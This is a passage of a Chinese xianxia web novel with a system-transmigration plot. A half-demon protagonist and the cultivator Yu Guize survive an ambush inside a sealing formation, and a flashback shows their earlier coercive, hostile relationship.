段云芷笑容微顿住,眉间笑容淡了几分,他回身:“道尊,我见莫公子醒了,正好让家中医师来瞧瞧。”
“不必,我已为他疗伤。”喻归泽神情依旧冷淡,眉宇间似有霜雪,浑身冷的让人生寒,宋策不想触人霉头,默默离两人远了些。
宋策撑着脑袋,身上的伤确实已经好的大差不差了,几乎都是喻归泽治疗的,本来也没有多严重,再加上喻归泽那些不知道什么品级的丹药,他那些小伤早就好了。
段云芷眼波流转,嘴角笑意未减,对喻归泽冷淡并未露出什么不满,只是临走时实现落在宋策身上一瞬。
话还没开场,宋策又发现自己不能动了,这三天这种场景已经发生无数次了,每次喻归泽要为他检查伤势时都要这样,宋策感受到一股冰冷的气息沿着经脉不断流转在体内,筋骨都忍不住颤栗起来。
喻归泽低下的眼眸轻轻抬,手中灵气一顿,他看向眼前这个熟悉又陌生的身体。
“多谢道尊疗伤,在下已经觉得好很多了。”
宋策掩饰了几分,最后斟酌着开口问:“道尊可是要去魔宫见那魔主屠沉渊?”
“是又如何?”喻归泽缓步走向里屋,负手而立,在宋策的角度只能看到他一小侧脸颊,肩背的轮廓挺拔而坚韧。
喻归泽停顿沉默的样子似乎是在等待宋策的下文。
“我与那许长岁也算是相识一场,他被魔族掳走,在下心有不忍,想去看看是否能将她救出来”,宋策坐下,随手为自己倒了一杯茶,茶水烟雾缭绕,隔着迷蒙的雾气,喻归泽回身看他。
氤氲的水汽染上喻归泽的唇角,从鼻翼最后到眉眼,宋策忍不住笑了一声。
“你去魔族到底要做什么?”
喻归泽平静的语气中某名让人听着有些讥讽,宋策充耳不闻喝着茶。
“我只是被许长岁牵连,不甚被卷入这些风波当中”,宋策从容地为喻归泽沏茶,眼尾弯起依旧是那副笑不达眼的神色,“道尊,请。”
宋策感叹这段家东西就是好,一边腹诽,要不是要做任务,他早走了。
可惜只有在喻归泽身边的时候,这主线任务还是发着光的,只要离得远些,这任务界面就是灰色的。
看着停滞不前的任务进度,系统忍不住催促宋策。
“宿主,你现在还能联系的上九婴吗?”
“不能。”宋策百无聊赖地斜靠在窗沿便,指尖沿着杯沿缓缓滑动,略微刺耳的声音在寂静地氛围中显得异常突兀。
“那许长岁呢?”
“不能。”
“莫远行呢?”
“都不能。”
69. 现实
“宿主,不如这样吧,我们直接去魔域中心找屠沉渊,救出许长岁!”系统说的义愤填膺,似乎对这件事有着很大的把握,宋策却觉得好笑。
宋策原以为一个人出来会有很大的麻烦,没想到喻归泽完全放任他出门,临走时候他还仔细检查过身上是否有喻归泽留下的定位法器。
不过最后还是什么也没有检查到,不过想来两人之间的差距,也许他根本就检测不到喻归泽留在自己身上的东西。
热闹的酒馆中四处都是洒脱豪放的魔族,这种地方多是鱼龙混杂,宋策一只半妖挤在人群中却并不显得突兀。
“公子需要来一杯吗?”肩头擦过一人,一缕诡异的幽香萦绕在鼻尖,宋策眉心微蹙面上并没有做出表示,一双白皙修长的芊芊玉指突兀的映入眼帘,拦住宋策的去路。
系统还在劝解宋策想让他去魔域找魔主,宋策不耐地打断他:“够了,你是嫌我命长吗?”
“别在我放松的时候打扰我的心情。”
系统识相地闭嘴了,三百年来他几乎很难和宿主达成共识,几乎是宋策压着他,没有一次听过他的,多说无益或许宿主有自己的考量。
“我看公子不像魔域中人,是第一次到魔域吧”,妩媚的桃花眼出现在宋策眼前,散落的长发随着她轻盈的动作飞舞,倾长的裙摆在她脚下摇曳身姿,宋策警惕的后退一步。
“嘿,小心点!”浑厚的嗓音陡然出现在耳后,宋策的肩膀再次被人撞了一下,散落的零星几点酒水落在肩颈。
“公子!”宋策离开的步伐再次被拦住,脂粉气息惹得他心烦,最后还是敌不过这人直接开门见山问。:“姑娘想如何?”
“我家公子请上座。”她轻轻眨动着漆黑的睫羽,灵动的眼珠子轻轻一转斜眼上瞧,宋策顺着它的视线往上看去。
“宿主,宿主,任务进度有变化!”说着系统将进度面板调出,只见关于主线任务的线度条亮了一瞬,宋策心间一动。
“是他!”系统看见伍南寻,惊讶的语气不加掩饰,“他不是在风雪门吗,怎么会出现在这里!”
“莫公子,我们又见面了”,他走近宋策身边,言语难言欣喜,似乎是没想到宋策居然真的来了。
伍南寻,之前在酒馆为了帮喻归泽打抱不平和别人起争执的伍家现任家主。
“我们很熟悉吗?”宋策转身欲走,对这位并不想与其过多纠缠。
伍南寻急忙拦住宋策:“等等公子,我知道是你教给妖王九婴的解蛊之法,我想请教阁下。”
他态度极其谦恭有礼,宋策眼睫压低,凌厉的眉眼中含着深渊般的冰冷,他看着眼前这人,嘴角不免挂上冷笑:“我为什么帮你?”
“我说了在外面不许超过半个时辰,你在何处?”冷厉的声音突然出现在爱宋策脑海中,他神情一僵,就连系统也懵逼了,这不是喻归泽那个杀神的声音吗?
难道他也到这来了?
半个时辰,他都忘了还有这事儿。
系统想起临出门前喻归泽看着宋策,他站在风口出,微风轻轻地牵起他的散落在鬓角的长发,还未等宋策稍有反应,冰霜般的气息就缓慢萦绕在身边,从脚到脖颈,如同身体缓慢又隐秘地潜入深水带来的寒冷。
“道、道尊?”显然伍南寻也没想到能在这种地方,见到喻归泽,之前风雪城他也只是遥遥一瞥,喻归泽如雪般的衣摆如云如雾,风姿万千缥缈似仙,叫人多看几眼都会心生敬畏,更别说如今这般近距离的看。
修道之人面目周正,多是俊朗之人,一副好皮囊在修真界并不稀有,但即使是上仙界,那些曾见过喻归泽的人都说其长了一副好相貌,见之难忘,其实喻归泽刚出世,名声起势那段时间,不少坊间或黑市贩卖喻归泽的画像,那些爱慕的男子或女子,或许都见过他的画像。
作为修真界道法第一人,伍南寻对其十分敬仰,画像也是见过的,如今近距离见到真人,只觉得画像真不及本人十一。
只一眼伍南寻便不敢多看,疾步退至宋策身后。
“你来这里做什么?”喻归泽视线不偏不倚地落在宋策身上,似乎并没有看见旁边的伍南寻。
他语气轻,细听似乎含着几分讥讽和愠怒:“想跑到哪里去?”
虽说伍南寻也是见过世面的人,但如今伍家式微,他可得罪不起这尊大佛,早在风雪城他就应该想到道尊对这个莫公子就很不平凡,他怎么就把这一段也想差了。
宋策目光不移看着喻归泽那双浅淡如琉璃般清透的眼睛,不知道是不是他的错觉,刚才一瞬他似乎看到他眼瞳中闪现而过的绯红。
这是生气了?
“我伤尚未好全,自然是留在道尊身边最为稳妥。”宋策不着痕迹地掩盖手中蛊虫,那双谦和的眼中蕴藏着笑意,说话间只要看着那双眼似乎都能感受到他的温柔。
看着他嘴角显露的笑意和眼底冰冷的底色,喻归泽不屑一笑:“是吗?”
嗤笑声小而轻微,近乎都快听不见,恍惚间,站在旁边的伍南寻还以为自己听错了。
两人之间的距离早在说话时就已经缩小,昏暗的烛火摇曳闪烁,宋策越发觉得视线周围空间逼仄压迫,他想拉开两人之间不必要的距离,下一刻喻归泽的手就搭在他的脸颊一侧,微凉的指尖像是沾染了风霜带着寒冷,宋策觉得像这人一样,冷清清的,不近人情。
那种浑身都动弹不得的感受又来了,宋策不知道喻归泽到底要干什么,但他是现在什么也做不了了。
“宋策,再跑我就把你那些虫子都弄死!”
宋策下颌骨被喻归泽捏的生疼,他皱起眉头垂下眼眸掩盖目光中神色,装傻充楞道:“道尊说笑了,在下手中哪有什么虫蛊?”
眼皮缓慢抬起,潋滟的眸光如水波般荡漾温柔,似乎并没有因为喻归泽的骤然怒气而露怯。
伍南寻暗中咽下喘气声,捏了一下大腿,他对天恒阁主没有任何意见,但就是站在他身边也让人某名发憷,境界和威压不是让他陡然感觉自己只是匍匐在巨人脚底下的蝼蚁,一刻无法喘息。
不是他不想走,而是两双脚根本没法发动,一时间灵力也忘了使出。
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宋策按住下颌处的手,似是摸到一层冰,喻归泽手背一颤,宋策之间摩挲两下,浅笑道:“道尊多虑了,我没想跑。”
如果之前还没有主世界颁布的关联性任务,宋策不会主动接近喻归泽的,他对宋策来说就是个定时炸弹,保不齐那天喻归泽想起之前他欺辱过他的事情,两人又回到了当初不死不休的状态了。
但是他能感觉到主线的关联性任务推着他更接近喻归泽。
每次任务进度与喻归泽有关,这一点是毋庸置疑的,但是主世界的任务潜在意思就是让两人能够产生联系,他猜测只有他和喻归泽走进才有可能刺激任务进度。
宋策能感觉到背后总有一双手推着他们往前走,苍穹之上风云变化,那双手搅动着天地风云,势必要将所有人引入深渊。
宋策捏紧手心,低头看见一根赤色丝线突兀地出现在两人手腕处,不用猜也知道喻归泽在他身上所下的禁制,他就说喻归泽怎么这么放心他外出溜达。
“为何要将他引到这里?”
伍南寻意识到这句话是喻归泽对他说的,无意识间身上抖了一个机灵,他扯起嘴角刚想解释。
“道尊,是我将他引到这里的。”
宋眉心锁紧,眼眸闪过一丝疑惑,这声音他有些印象。
被掀起的珠帘停滞在半空中,从帘幕之下探出一双白净秀丽的脸,锋利的眉眼轻轻掀起看向几人,嘴角依然熟练地勾起和煦温柔的笑意,与宋策不同,她的笑意浅浅藏在眼底。
喻归泽冰冷的眼眸闪过几分思绪,很快那一缕波澜又平静下来。
“我与南寻是朋友,此次听闻——”
她的视线落在宋策身上,嘴角笑容越发意味深长:“听闻这位公子擅解巫蛊之术,所以想寻其解答一二。”
宋策看着眼前这个熟悉又假模假样的客套,觉得眼睛有些疼,无奈扶额想躲开这人打量的视线。
“宿主,居然是苍月!”显然系统与宋策本人还要惊讶,这么多年了居然还能再次遇见苍月,当年鬼城一战,他与鬼城几人不告而别,如今换了一副面貌居然还能相见。
宋策眉心一抽,瞥了一眼苍月依旧不改的笑容,想起这人在鬼城幻像中见过他的样子,现在八成是认出来了。
“先和我回去。”
宋策手上一紧身体不自觉往喻归泽一边倾倒,连接两人的禁制直接将宋策绑在喻归泽身边,两人衣袂相贴,动作间相互摩挲,近的宋策都能闻到独属于喻归泽身上的气息。
“等等,道尊,我——”
还没听清苍月要说什么,宋策眼前的画面一阵模糊变换,无形的风擦过脸颊,耳边是宋策浅浅的呼吸声,他隐约感觉喻归泽在他耳边说了一句什么。
“宿主,任务更新了!”
【主线关联性任务:
任务对象:喻归泽
任务执行者:宋策
任务支点:与任务对象(喻归泽)亲密接触
任务时间:无限制要求
完成任务积分:150积分
任务失败:无惩罚】
70. 现实
这次任务相较于前两次有点区别,任务内容比较宽泛,没有时间限制,那么宋策其实可以选择性不做。
但他从主世界所发布任务具备的可用性推测,积分奖励高达150的任务不至于是一个废选项。
日前和主线任务相关联的任务,没有推进主线任务的提示。
宋策长呼一口气,仰躺在小塌上。
魔域烈阳日多,雨水季节少,现在是晌午,日头正毒,宋策在院子中的葡萄藤下乘凉,思绪如同繁乱的羽毛飘忽飞舞,他眯着眼睛盯着头顶上垂落的青绿葡萄失神。
“宿主,这个任务你到底做不做呀?”系统搞不清楚宋策的态度。
其实他知道就算是不做也没关系,但是他还是想弄清楚宋策的想法,他怕因为跟不上宋策的思路,无法准确计算任务进度,若是做出错误判断很可能会在紧急关头对宿主造成麻烦。
他可不想搞砸一些事找骂。
“与喻归泽亲密接触?”
什么样才算是亲密接触呢?没有一个界限或是判断标准,他没办法做出有效的行为,这还怎么做任务?
如今的喻归泽和以前不一样,不,准确来说现在的喻归泽他没办法控制,普通程度的触碰他不能随意尝试,要是那个方面惹得这人不痛快,到时候死的还是他。
“与谁亲密接触?”
段云芷的声音突兀的从宋策头顶出现,阴影笼罩下来,一小片斑驳剪影也被这人挡住了,那抹青绿被挡在视线之外,宋策轻轻闭了闭眼。
段云芷作为段氏家主,走进来时身后浩浩荡荡跟了一大群人,这些修道者宋策大多探查不到修为几何,想来能作为段家家主的近卫修为也是不低的。
但是正在晒太阳的宋策只有被打扰的烦躁和不耐。
喻归泽到底有没有算好时机,他快要按耐不住要离开的心思了,留给他们的时间并不充裕。
宋策支起腿坐起身看着段云芷,阴影投射在地面上影影绰绰并不清晰。
段云芷看着宋策那双浅棕色的眼瞳,目光流转至他身上,嘴角淡淡一笑:“公子,我每次见你,总觉得你身上有股说不清道不明的东西,雾蒙蒙的。”
他停顿一瞬,才继续说着自己的感受:“可以这么说吧——”
“你好像不在我眼前,也不是——”他转过身步伐不停走了几步,突然回头盯着宋策的眼睛,赫然道:“是不存此域!”
他紧紧盯着宋策,视线一瞬不移,语气笃定道:“第一次见你,我就感觉你不在我眼前,好像独立于这个世界!”
闻言宋策撑着膝盖扶额失笑,琥珀般晶莹的眼瞳闪过一丝莹绿,如同宝石中散发的彩色,轻轻移动着,视线从面前人的耳际滑至他身后。
段云芷微弯着腰,他能看清宋策脸上的每一丝表情。
空气中细微的波动落在身后,段云芷脸色骤变,翻身躲开接连设下几道禁制,千钧一发之际,段云芷及时破开了一道法阵之门躲开了那道必死无疑的杀门,落地的一刻,他察觉的及时躲开也落不得太好的境地。
法阵已成。
他抬眼一看,发现宋策也和他一样落入阵中,段云芷抬眸看去,阵法之中尽是他带来的近卫,实力高强,修为莫测,段云芷没心思想太多,嘴唇抿起浑身绷紧准备时刻应付这些人的攻击。
“他们被控制了?”
“目前看来是这样”,难得这么多天宋策正儿八经和段说了一句话,“难为你了这么多天都没发现自己身边人出了问题。”
“这怎么可能?”段云芷显然还有些不相信。
“这人人修为几乎都在元婴期之上,普通术法根本没办法控制其心神,而且这么些日子他们一直跟在我身侧。”
宋策忍不住嗤笑一声,打破他的认知:“这种东西潜伏期很长,使用者若是修为足够能让一城之人尽数沦陷,也能在一夕之前控制一个中型宗门。”
段云芷神情凝重,面色隐约发白,利索地唤出本命法器,将宋策拦在身后:“我修为比你高,你找机会破阵!”
和寻常样子大不相同,段云芷面对这种情况要果断得多,宋策看着这人挡在自己身前的背影,眼中有一瞬恍惚,不过几息之间,他就反应过来现在这个时候应该赶快想办法脱阵。
“喻归泽怎么还不回来啊!”系统急的晕头转向不知道该怎么办。
要是有喻归泽在,这些人根本就不是他的对手。
宋策面色凝重,眼前情况严峻,比他想象的要严重许多,阵内切断了他们与外界的联系,这是一个切切实实的死阵,被控制的近卫也是法阵运转的一环,今天不管他们俩到底死没死在阵中,这些修士都要死。
设阵之人手段阴毒,同样技法高超,不容小觑。
“宋策,这是灵族的法阵。”喻归泽的声音陡然响在神识之中。
喻归泽依附链接两人的法器禁制能看清法阵中的现象。
宋策想起着阵法怎么看着这么眼熟了,之前他和喻归泽回灵族找寻修复灵丹的方法时,他对灵族藏书阁中书籍很感兴趣,大多研究过,这种古老的法阵他见过。
“封神阵。”
“什么?”阵法中急速幻化的罡风从段云芷耳边擦过,他没听清宋策说了一句什么。
“道尊,这法阵是对付你的。”宋策忍不住内涵一句喻归泽,他知道他听得到。
对付他这种修为的半妖,对方这么可能拿这种东西来浪费。
喻归泽的声音清晰的传过来,宋策能听清他冷淡言语中不易察觉的揶揄:“你值得。”
音色清冽想泉水一样,神识中传来的声音不是直接从耳朵进脑子里,但是宋策却感觉自己耳郭有一缕风吹过,痒痒的。
宋策有些稀奇。
宋策放轻呼吸站在一门中心,段云芷找准时机回到宋策身边防御攻击,对面的近卫严阵以待,这时动静却突然变小,段云芷语气不确定道:“他们好像留有后手。”
“是阵法主人还没真正动手。”宋策拧着眉毛,视线移向众多棋子身后的一抹黑影。
“宋策,我们又见面了。”
幻影虚虚实实,应该只是分身,宋策薄唇微动,很熟练地发出一声近乎没有的气音。
段云芷离得近,同为修士他能听到宋策说了两个什么音节,但是没理解是什么意思,料想也不是好意思。
因为站在他们面前的那道身影突然剧烈抖动起来,显然是听清了什么,他顿了一刻兀自嗤笑一声:“你没死,我很失望。”
“那真是太让你失望了!”
段云芷察觉到宋策莫名后退一步,心中大喊不妙,果然下一瞬他的身体以一种四仰八叉的姿势往前飞去,段云芷飞快地做出防备,对面众人显然没意识到这突入起来的攻击。
黑影抬手一挥动,空间骤然发生改变,等他再看,宋策的身影已然消失,他浑身一震,突然发现身边不对,等回头查看,宋策出现他身后另一道法门中。
段云芷也出现在宋策身边,黑影不由分说朝两人攻击,似乎是不再想和宋策废话,无数攻击和必死的杀招直逼两人。
宋策指挥着段云芷不断变换法门位置,这只能保证他们总能在外人攻击前来一步躲避攻击,时间长久下去,拖延的越久,灵力消耗的越快,最后化作法阵的养料,神魂和灵力被法阵吞噬殆尽。
段云芷已经感觉灵力正在迅速流失。
额头细汗滑落鼻尖,两人已经试过几种办法但是都没有办法破阵,宋策也纳闷,越是精密高超的阵法,使用时几乎
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是无法改进的,他想过这人会修改阵法运转方式,但是试过正反、交叉几种,都没办法出去。
“宋策,今日是你运气不好,喻归泽要是在或许你能死的晚一些。”说着黑影发出几声讥讽的笑意。似乎在嘲笑与宋策的不自量力。
“宋策,说实话,像你这种垂死挣扎低贱的妖类,我见过无数,但是像你这样有意思的我只见过你一个。”
他抬手勾了勾袍子,随手整理了一番,这才施舍一般地抬起头看向宋策,抱臂而立施施然道:“可惜了,若不是……我还想把你抓回去玩玩。”
他歪了歪脑袋,指节抵在下巴处摩挲着,发出怪笑:“你这具身体模样也不错,或者可以带回去,死了也能拿来炼尸!”
“杀了吧。”
“别溅血。”
说着他指尖勾动,身后的数道身影簇拥闪现至四方。
“找死!”
昏暗的空间中忽然被撕裂开一道缝隙,宋策神色一松,眉宇间露出几分笑意。
如同深海中从群藻遮蔽上方倾泻的一缕幽光,需要从外界破阵,结合他们在阵内破除机关,才能彻底打开法阵。
幻影察觉到不对劲,下意识看向手中幻化的出现裂隙和畸变的阵形,面色隐怒,他还有些不可置信地抬头看向宋策:“你敢算计我!”
“岂敢。”宋策面上不显,眼尾婉转流露的戏谑隐秘却又刺眼。
喻归泽还不能直接破入阵法,但依附于法阵的被控制的修道者如同被吸食了生机的果实迅速衰败腐烂,黑影顿觉不妙,使出法器想脱离法阵限制。
这时喻归泽的刀刃切碎了已如蛋壳般脆弱的阵法空间,使出的灵力入剑刺入他的身体,犹如刺入一颗酥脆的果实,他手肘挥动,□□如腐化的果肉瘫软下去。
一缕黑色气息从他身体钻出,喻归泽掐诀使出捆缚的灵器迅速收纳那一缕逃脱气息。
黑气在灵器中翻来覆去挣扎,隐约的咒骂声被喻归泽堵住。
喻归泽眉目移向宋策,抬手一抹灵气探入宋策体内。
冷意沿着他的筋脉流窜最终融入骨血似的感受不到一丝一毫,宋策负手而立,唇角勾起,也不再客气。
“谢了。”
喻归泽垂眸转身看向段云芷,显然他受伤的比较重,喻归泽使出灵力为他疗伤。
段云芷一遍感谢一遍打量两人,语含不满:“你们做局算计人,能知会我一声吗?”
“不合适。”
喻归泽收势,抬起眼眸撇了眼段云芷,面上冷厉,毫无表情,段云芷只看了一眼,便没了言语。
喻归泽那张冻得死人的样子,他确实没办法和他谈。
转眼看向宋策。
“不方便。”
段云芷一噎,只得挥袖离去,正因为今天被控制的是他的近卫,才发生了这些事,况且发生在他的地盘,若是真的算计起来也是说不清。
或许他们二人是将计就计,但——
背身离去的段云芷面色阴翳,今日之事,家中或许有了不该有的老鼠,他早该想到要处理了这些脏东西。
“今天只是一次试探,下次或许就不一定了”,喻归泽手中把玩着灵器,继续道,“你不能留在这里了。”
“什么意思?”宋策动作一僵,不解地视线打量着喻归泽。
“我先送你回御灵城。”
宋策捏着杯子的手发白,浅色棕瞳渐显荧绿,冷的像一汪深潭,看不起眼中底色。
“喻归泽,你不能决定我的去处。”
“也没资格限制我的自由。”
“自由?你和我谈自由?”喻归泽眼睑轻抬,睫羽颤动,波澜不惊的眼瞳中满是冰冷。
“宋策,或许我不该对你这么客气。”
71. 回忆·现实
“你拿什么和我谈?”
阁楼之外喧闹繁华,宋策身形抵在窗沿边,路过的风吹乱他的衣襟,喻归泽坐在他腿边无法动弹。
沉静的眸色中蕴藏着阴郁的颜色,喻归泽沉默不发,唇角紧抿,唇肉内陷越发艳红,宋策将杯子抵在他唇下,杯沿的水渍氤湿了他的嘴角。
良久,宋策盯着那一抹水渍道:“我让你喝。”
始终低头的喻归泽才抬起头,镶嵌在眼眶中的瞳孔染上宝石般的深红,泛红的眼眉如火焚烧,浓烈难消的情绪在他眼中愈演愈烈,宋策一怔,抬手抵在他的下颌处将喻归泽的脸抬的更高些。
“你到底想怎么样?”许是许久未说话,喻归泽的嗓音像是含着沙子般沙哑。
宋策手中动作收紧:“你就这么想杀我?”
喻归泽垂眸看向那杯茶,继而抬眼紧盯道:“灵丹已然在你体内,如今你已经得到了你想要的,杀了黑风鬼离开了鬼城。”
在宋策的视角下,能清楚地看清手下的脖颈,凝视他喉结的滚动,脆弱的好似轻轻一用力就能折断。
“嘭!”刹那间窗外的烟火照耀天际,喻归泽的唇瓣轻动,嘴角的水珠在光线下闪烁着光华。
宋策伸手为他抹去水珠,这才想起来回复他刚才的话。
“亲爱的”,宋策语调一顿,想到什么换了一个称呼,眼中笑不达眼底,语气冰冷刺骨,“郎君,我们之间的账可不能这么算,既然我救你一命,那你身上所有东西就都应该是我的。”
“一颗灵丹算什么?”
宋策冷嗤一声,换来喻归泽默然又冷漠的注视,但他毫不在乎地将茶水灌进他的喉咙:“你的命都是我的,等什么时候你为我而死——”
俯身凑近,贴近身下人的鬓角,轻轻撕咬他的唇瓣,感受着喻归泽轻微的喘息,宋策愉悦道:“死就算了,乖乖的,往后在外,你我以道侣相称。”
“咳咳咳……”喻归泽喉间发痒剧烈咳嗽着,他心中一片凉意直犯恶心,他知道宋策在故意恶心他。
“激动什么?”
看着喻归泽眼含愤恨的样子,猩红的眼瞳似充血一般,冷厉如刀刃的目光快要将宋策切片,他解释道:“不过是掩盖气息的药物。”
“去换身衣服,这身衣物颜色太淡了。”说着宋策取出一身绀青长袍递给他。
“你想做什么?”
喻归泽警惕地抱着衣物,迟迟不肯动作,眼前这只狼妖诡异多段,阴险狡诈,论阴谋算计他不是他的对手,论修为手段如今他因为连心蛊受制于人,根本没有办法脱身。
喻归泽知道现在顺着他心意是最好的选择,况且灵丹还在宋策体内,若是贸然杀掉他只会让灵丹提前销毁,他不能没有灵丹!
他还不能激怒宋策,得想办法拿回灵丹,他还要报仇,查清族群覆灭的元凶,如今没了灵丹他还如何与泉下母父交代。
喻归泽捏着衣物的指节发白,低头之下的神情阴霾难测。
“地下城有一座赌坊,在鬼城时我就听说过,你陪我去吧。”
喻归泽从屏风后走出,手中捏着腰带正低头系着,动作间,颈后脊骨微微凸起,显得颈项纤细又倾长。
他抬起头看向宋策,也许是控制了情绪,如今他的瞳孔又恢复了琉璃透亮的浅淡,宋策轻笑着走近,熟练地为他系上腰带。
“妖魔人族都有,听说很有意思。”
“我不喜欢,不去。”
宋策离得太近,喻归泽不适地躲开,却忘了腰带还在他手中,他挣扎动作将两人距离再次拉进。
喻归泽神情僵硬,面色藏冷,眼里不加掩饰的恨意和嫌恶。
宋策眉心一蹙,这些日子他一路上不知道受到喻归泽多少次攻击,两人身上都有对方留下的痕迹,这时候他倒是没在乎喻归泽的想法。
只是发现两人灵修之后,喻归泽似乎在极渊中获取的灵药效用的加持下,顺利度过过渡期,身条拔高了不少,现在的宋策只有抬头才能与喻归泽对视。
他面容较之以前越发俊美,脸骨轮廓鲜明,眼窝深眉骨锋利,但眼尾微微翘起平添几分妩媚,眼下分出的一丝红色犹如血泪浸染的细线,抬起眼往上看时宋策只觉得他乖巧又带着些讨好,惹人怜爱。
如今喻归泽站起身,特别是控制不住情绪幻化出长尾时,血丝染红双目如滴蜡,脸上一丝表情都无,烛光从他锋利的脸颊投射下,他冷的像一个没有感情的冰,眼如寒潭般幽邃,眼睑轻轻垂下,看人时就像是在看死物,毫无情绪。
宋策撇嘴,低头看了眼系好的腰带,勾唇嘲笑道:“还当自己是小公子,大少主?”
说着宋策伸手又扯散了腰带,转身言语尽是讽刺:“郎君还是把你那些小心思收收,你要是还想跑又或是不听话——”
黑风鬼作恶多端死不足惜,隐忍多年,宋策在临走之前将他身上每一个有用的东西都当做灵畜器官在商市卖了。
喻归泽清楚宋策的手段和心狠程度,为了换取灵丹亲手在自己身上用尖刀刻下符文,为了防止纹路自然愈合,撒下特殊的药粉让其伤口长久难以愈合直到符文效用真正稳定下来。
他眼睫轻动,沉默几息道:“我没有跑。”
宋策落座,手肘撑在桌面上,从上往下打量他,充满算计的眼神似乎在对他身上的每一个零件进行估价。
“当然,你是没想跑,但你要杀我。”
“你说我现在就折断你这条尾巴会如何?”
宋策微微歪着脑袋,眯起眼睛,唇边掠过冷笑,带着刻意的威胁:“听说有些东西就喜欢把玩有残缺的‘美玉’”。
他语气很轻,但喻归泽听得很清楚:“反正你本来的命运就是这样,不是吗?”
途径鬼城的黑商,贩卖,打着游商三界的旗号,私底下不过是倒卖一些上不得台面的“器货”,当初的喻归泽不就是这样,只不过是换了一个主人而已。
“恶心!”
系统大气不敢乱喘,又开始吵架了,自从喻归泽恢复记忆后,这种情况不知道发生过多少次了。
在系统看来,两人本来因为一件小事说着好好的,不知道怎么回事就突然吵起来,更多时候直接动刀子。
他不敢多说一句话,喻归泽不知道他的存在不会把他怎么样,但是宋策大概率会在吵完之后对他一阵输出嘲讽,不带一个脏字对他进行统身攻击,等想他说些什么时,宋策直接将他封禁个十天半个月。
宋策敛眉冷笑,抬眸视线飘飘地掠过喻归泽愤怒阴郁的眉眼,刚消下去的瞳色又有加深的趋势,宋策不吝啬再添上一把火。
“我恶心?”
宋策“咚
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”一声将茶水搁在桌面,水渍浸湿指节,一片阴影随着他直起身体而落下。
“精于算计,阴险狡诈,虚伪又自私!”
喻归泽走近,人影交叠,烛火摇曳之间,没人注意的角落阴影缠绵又斑驳。
他毫不客气地垂眸凝视着宋策,紧紧盯着那双兽类的眼瞳,心口翻涌怒火时刻灼烧着他体内的每一滴血,喻归泽冷哼一声,讽刺道:“骗了我一次还不够?”
“我还要对你感恩戴德,躬身侍奉?”
心口的连心蛊再一次感受到他对宋策汹涌的杀意,他不顾搅动心间的刺疼,一步一步逼近。
“宋策,还要我再说一次吗?你让人作呕!”
“我恶心,我作呕?”宋策疾步抵住喻归泽,伸手掐住他的腰身,将他狠狠压在桌沿,伸手掐住他的下颌,有意恶心他:“感恩戴德?躬身侍奉?”
宋策眼含赤·裸裸的恶意,讽刺意味十足的开口:“这些你瞧不上的事情,我尊贵又高尚的喻公子不是都为我做过?”
他眉轻挑扬起弧度,顺带伸手勾出衣襟中的项链,一根红绳上坠着的素色灵戒,喻归泽眼神轻颤,唇角紧紧抿起,那是他父亲送给他的东西,他亲手交到宋策手上的。
喻归泽喉结滚动,咽下翻涌的气息,难得对宋策露出笑容,只不过是满含嘲讽刺激的笑,若不是宋策看清他眼中嗜血的杀意,他几乎以为他在和自己调情。
“隐忍多年,如犬如蚁,真以为夺了灵丹能一步登天?”
喻归泽靠近宋策,指尖轻轻抵在宋策心口缓缓滑落最终落在灵丹运转的丹田,他微微一笑,潋滟水光的眸色生动又魅惑:“宋策,就算你从我身上拿走的这些东西,你以为就能一步登天,羽化成仙?简直可笑!”
全族被灭那天,他的灵丹就算有母亲和父亲下的禁制,但还是受到神山波动的影响,有了一丝裂痕,若是将灵丹当做辅助修炼倒也没什么,但宋策将他当做本命培元,这根本就是天方夜谭,就算侥幸活下来了,他也修炼不了多少年,灵丹与灵族神山的羁绊也会让宋策自取灭亡。
腰部抵住的桌沿,上下骨头连接处酸胀刺痛,喻归泽看着宋策被包裹住的脸和指尖,咬牙道:“你看看你这丑陋的模样,若是以前我或许还能瞧你几眼,如今和你待在一起,看你的每一眼我都想吐!”
宋策垂下眼眸,看向他不断颤抖的腰腹,冷冷地笑了,言语平静毫无刚才的波动:“那还真是难为你了。”
烛液如血如泪,灯芯跌落,窗外一缕凉风吹进屋内,室内一片阴霾。
宋策轻轻叹了口气,系统的声音这时突兀地响起来:“宿主,我说了不要和他吵架,不要吵,这下好了吧,打不赢又吵不赢,有什么意义?”
“这下好了吧,这下好了吧他直接切断了你和外界的所有联系,等御灵城的人来了,他就要把你带走!”
“到时候还怎么做任务?”
“宋策,你果然还在!”
虽然喻归泽将他关在楼阁之上,还下了困阵,但开窗还是能看见夜幕中的辰星,点滴萤火虫的荧光从树影之间闪烁流动的痕迹也能清楚地看见。
宋策指尖把玩着一根银丝,风将银丝吹起,那声音就是从这虫子上发出的,系统震惊地说不出话来。
“宿主,我就知道你还有后手!”
72. 回忆·现实
“你是什么时候认出我的?”
“云州城地下赌场。”
喻归泽眉心微蹙,目光流转如水般轻盈地落在宋策骨节分明的手上,他并没有继续而是换了一个话题道,“通过法阵中那一缕分身,我追踪到他的气息出现在魔域中心。”
宋策指尖敲击的动作一顿,看向喻归泽。
魔域中心就是魔主屠沉渊的驻地范围,那脏东西如果真的来自魔宫,如果继续调查下去或许牵扯到魔族与人界的纠葛。
宋策不想和这两方势力有所牵连,也不想让鬼城卷入这种灾祸,但是现在这种情形也不容他再多踌躇了。
喻归泽的意思他再清楚不过,但他不想顺其心意。
喻归泽继续道:“许长岁并没有受到伤害,你不必心急。”
宋策继续沉默,依他对喻归泽了解,他知道他不会说谎。
天恒阁势力庞大,喻归泽作为一阁之主手握生杀实权,他在三界各处都有自己的眼线,魔宫传来的消息应该没有错。
但要想继续跟进主线任务,他得想办法和喻归泽在一起。
喻归泽要入魔宫,他也要去,否则错过重要节点,没有完成其中一步,说不定后续任务就直接中断了。
宋策眼睑轻抬将思绪抽离,突兀地问:“我是不是见过段云芷?”
“在风鸣宗,在秘境历练时,我们曾与他交手过。”喻归泽取走宋策手中的茶杯为他续上。
风鸣宗,仙界四大宗门之一,当初为了隐藏踪迹,他们通过宗门试炼入门求学。
至于他们为什么选这个宗门,除了机遇使然,更是因为风鸣宗门中弟子大多洒脱不羁,门风崇尚自由不受拘束。
宗门收徒一视同仁,不论是人族还是妖魔族,只要是能通过试炼都能拜入风鸣宗。
“你忘了。”喻归泽眼神清明,宋策眉心一紧被他盯得面上发凉,一股奇怪的感觉涌向心头,转瞬即逝只是像一朵云很快就散了。
“有点印象。”宋策搭在桌上的手微微蜷缩,嘴边喝茶的动作顿了一瞬,脑子里划过不好的预感。
果然下一刻,喻归泽的手从他的手与桌面的缝隙中探入他的手心。
